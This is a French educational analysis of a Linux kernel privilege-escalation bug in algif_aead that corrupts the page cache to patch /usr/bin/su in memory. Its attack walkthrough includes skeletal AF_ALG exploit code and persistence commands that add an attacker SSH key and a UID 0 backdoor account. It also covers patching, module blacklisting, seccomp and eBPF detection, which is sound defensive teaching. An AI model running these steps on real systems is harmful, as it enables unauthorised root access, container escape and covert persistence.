CVE-2026-31431 — Copy Fail : Élévation de privilèges dans le noyau Linux

Analyse pédagogique de la vulnérabilité Copy Fail dans le noyau Linux.
Couvre le mécanisme de corruption mémoire, le flux d'élévation de privilèges, l'évasion de conteneur et les contre-mesures défensives.

⚠️ Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de recherche.
N'utilisez pas ces informations sur des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.
Tous les extraits de code et commandes sont fournis strictement pour aider à comprendre les mécanismes internes du noyau Linux.

Table des matières

• Vue d'ensemble
• Fiche d'identité de la vulnérabilité
• Concepts de base
• Comment fonctionne le bug
• Flux d'attaque complet
• Pourquoi c'est si dangereux
• Observation pratique sûre
• Défense et détection
• Comparaison avec des CVE similaires
• Glossaire
• Référence rapide

Vue d'ensemble

CVE-2026-31431, également connue sous le nom de Copy Fail, est une vulnérabilité du noyau Linux où un utilisateur local non privilégié peut passer à root sans aucune permission spéciale.

L'attaque opère entièrement en RAM. Le fichier sur disque n'est jamais touché — les empreintes de fichiers restent propres, les horodatages sont inchangés et les journaux d'audit n'enregistrent rien. Lorsque le système redémarre, toutes les preuves disparaissent.

Utilisateur normal  →  exploit du bug algif_aead  →  écrasement du cache de pages  →  root

Propriétés clés :

• ✅ Aucune condition de course — fonctionne de manière fiable à chaque fois
• ✅ Disque intact — la forensique ne trouve rien
• ✅ Nécessite uniquement un compte utilisateur local standard
• ✅ Permet l'évasion de conteneur via le cache de pages partagé

Fiche d'identité de la vulnérabilité

Concepts de base

/usr/bin/su — Le binaire cible

su (Switch User) permet à un utilisateur de basculer vers un autre compte — généralement root. C'est un binaire SetUID :

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = indicateur SetUID

L'indicateur s signifie : lorsque n'importe quel utilisateur exécute ce binaire, il s'exécute avec les permissions de root. Cela en fait une cible de grande valeur.

Sa logique interne (simplifiée) :

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

L'objectif de l'attaque : contourner entièrement la vérification password_correct().

RAM et cache de pages

Lorsque Linux lit un fichier depuis le disque, il en conserve une copie en RAM appelée le cache de pages.

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← c'est le cache de pages

Tampon et tampon sûr

AF_ALG et algif_aead

AF_ALG (Algorithm Family) est une interface socket Linux qui permet aux programmes en espace utilisateur d'utiliser les fonctions cryptographiques du noyau (AES, SHA, AEAD).

socket(AF_ALG, SOCK_SEQPACKET, 0);  // ouvre une socket cryptographique

algif_aead est le module du noyau qui gère le chiffrement AEAD (par ex. AES-GCM) via AF_ALG. La vulnérabilité réside dans son étape de copie de données.

AF_ALG  →  algif_aead  →  moteur AES-GCM  →  tampon de sortie
                                ↑
                           LE BUG EST ICI

Comment fonctionne le bug

Le bug n'est pas dans la logique de chiffrement. Il est dans la gestion mémoire — la mauvaise région mémoire est sélectionnée lors d'une copie de données.

Flux normal (sans bug) :

destination = safe_output_buffer;       // emplacement correct
memcpy(destination, user_data, size);   // données écrites en toute sécurité

Flux vulnérable (avec bug) :

destination = buffer + WRONG_OFFSET;    // BUG : mauvais pointeur !
memcpy(destination, user_data, size);   // les données atterrissent dans le cache de pages

Le noyau était censé écrire dans le tampon de sortie sûr. En raison d'un décalage mal calculé, il écrit dans le cache de pages — qui contient la copie RAM de /usr/bin/su.

Ce que l'attaquant modifie en mémoire

Le binaire contient du code machine x86-64. L'attaquant cible le saut conditionnel qui déclenche l'échec d'authentification :

Avant l'attaque :

cmp  eax, 0     ; vérifie la valeur de retour
jne  0x1234     ; si échec → saute vers le refus
call give_root  ; accorde root

Après l'attaque (2 octets modifiés en RAM) :

cmp  eax, 0     ; identique
90 90           ; NOP NOP ← saut remplacé, vérification contournée !
call give_root  ; le CPU arrive directement ici

NOP = No Operation (aucune opération). Le CPU ne fait rien et avance — contournant entièrement la vérification d'authentification.

Flux d'attaque complet

État d'esprit pré-attaque

« Je n'ai besoin que d'un compte utilisateur normal. Le noyau fera l'erreur lui-même.
Le disque reste propre. Aucun journal. Fonctionne à chaque fois. »

Étape 0 — Reconnaissance

whoami && id
# uid=1000(user) gid=1000(user) ← utilisateur normal

uname -r
# 6.1.0-generic ← dans la plage vulnérable

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmé

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponible')"

Étape 1 — Charger le fichier dans le cache de pages

cat /usr/bin/su > /dev/null
# /usr/bin/su est maintenant chargé dans le cache de pages ✓

Étape 2 — Rétro-ingénierie du binaire

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Recherche : l'adresse de la fonction d'authentification, le saut conditionnel jne/jnz, et son décalage d'octet exact.

Étape 3 — Ouvrir une socket AF_ALG

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Étape 4 — Envoyer la charge utile élaborée

payload = b'\x90\x90'  # NOP NOP — remplace le saut conditionnel
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Étape 5 — Le noyau écrase le cache de pages

# Noyau en interne (simplifié) :
destination = buffer + crafted_offset  # BUG : mauvais pointeur
memcpy(destination, payload, 2)        # octets NOP écrits dans le cache de pages
# La vérification du mot de passe de /usr/bin/su est maintenant NOP NOP en RAM

Étape 6 — Déclenchement

su
# Mot de passe : (n'importe quoi — ou appuyez simplement sur Entrée)
# root@victime:/# ← ROOT OBTENU

Ce qui s'est passé : Le système a exécuté /usr/bin/su depuis la RAM. La vérification du mot de passe était NOP. Le CPU l'a contournée. give_root() a été appelé directement.

Étape 7 — Persistance (optionnelle)

echo 'clé_publique_attaquant' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Pourquoi c'est si dangereux

Aucune condition de course

Disque intact — Échec de la forensique

Après l'attaque, un enquêteur forensique trouve :

sha256sum /usr/bin/su       # MÊME empreinte qu'avant ← disque intact
diff /usr/bin/su backup/su  # Aucune différence
grep -r 'attack' /var/log/  # Rien
journaux auditd             # Aucune écriture de fichier enregistrée

Au redémarrage, la RAM est vidée — toutes les preuves ont disparu.

Évasion de conteneur

Les conteneurs isolent l'espace utilisateur — mais le noyau est partagé, et le cache de pages est une mémoire du noyau.

Noyau hôte
├── Conteneur 1 (espace utilisateur isolé)
│   └── L'attaquant est ici
├── Conteneur 2
└── Processus hôte

Cache de pages : PARTAGÉ entre tous les conteneurs et l'hôte !

Chemin d'évasion : L'attaquant dans le Conteneur 1 lit /usr/bin/su de l'hôte → déclenche le bug → le binaire hôte en RAM est modifié → exécuter su sur l'hôte donne root sur la machine hôte.

Concernés : Docker, Podman, LXC, Kubernetes (nœuds partagés) — si le noyau hôte est vulnérable.

Observation pratique sûre

Ce sont des exercices d'observation uniquement. Utilisez un environnement de laboratoire (Docker + VM avec ancien noyau) pour tout test.

Observer le cache de pages

free -h                      # notez la valeur Cache avant
cat /usr/bin/su > /dev/null  # chargez le fichier dans le cache de pages
free -h                      # Cache augmente légèrement

Voir le mappage mémoire du binaire

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Inspecter le binaire

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Voir l'assembleur (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Empreinte disque vs RAM

sha256sum /usr/bin/su
# Identique au disque normalement — diffère après une attaque réussie
# La comparaison /proc/PID/mem nécessite root

Défense et détection

Atténuation immédiate

Priorité 1 — Mise à jour du noyau (meilleure solution)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Priorité 2 — Désactiver algif_aead

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Priorité 3 — Contrôles d'accès
Appliquez des profils seccomp avec SystemCallFilter dans les services systemd pour restreindre l'accès aux sockets AF_ALG pour les processus non fiables.

Détection

Détection en temps réel avec eBPF

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERTE : sendmsg algif_aead par PID %d (utilisateur %d)\n", pid, uid);
  }
'

Durcissement des conteneurs

# Exécuter avec un profil seccomp (bloque AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image

• Utilisez des profils seccomp qui bloquent la création de sockets AF_ALG
• Utilisez gVisor ou une isolation du noyau similaire pour les charges de travail à haut risque
• Évitez les conteneurs privilégiés
• Définissez un système de fichiers racine en lecture seule dans les conteneurs
• Appliquez les normes de sécurité des Pods Kubernetes — politique restricted

Comparaison avec des CVE similaires

CVE-2026-31431 combine furtivité (disque inchangé) + fiabilité (aucune condition de course) + évasion de conteneur — ce qui la rend particulièrement dangereuse dans sa catégorie.

Glossaire

Référence rapide

Flux d'attaque en un coup d'œil

Liste de contrôle défensive

• Mettez à jour le noyau vers la version corrigée immédiatement
• Désactivez le module algif_aead s'il n'est pas requis
• Activez la surveillance au niveau du noyau avec eBPF ou Falco
• Mettez à jour les profils seccomp des conteneurs pour bloquer AF_ALG
• Planifiez des vérifications d'intégrité binaire basées sur la mémoire
• Révisez et mettez à jour le plan de réponse aux incidents

La phrase en une ligne

Dans CVE-2026-31431, le module cryptographique de Linux (algif_aead) présente un bug de copie mémoire qui fait atterrir des données contrôlées par l'attaquant dans le cache de pages au lieu du tampon de sortie sûr — modifiant silencieusement un binaire SetUID en RAM — permettant à tout utilisateur local d'obtenir un accès root sans laisser la moindre trace sur le disque.

Ce document est préparé pour la compréhension pédagogique des mécanismes internes de sécurité du noyau Linux.
— À des fins éducatives uniquement —

📄 Rapport complet (PDF)

👉 Télécharger le rapport complet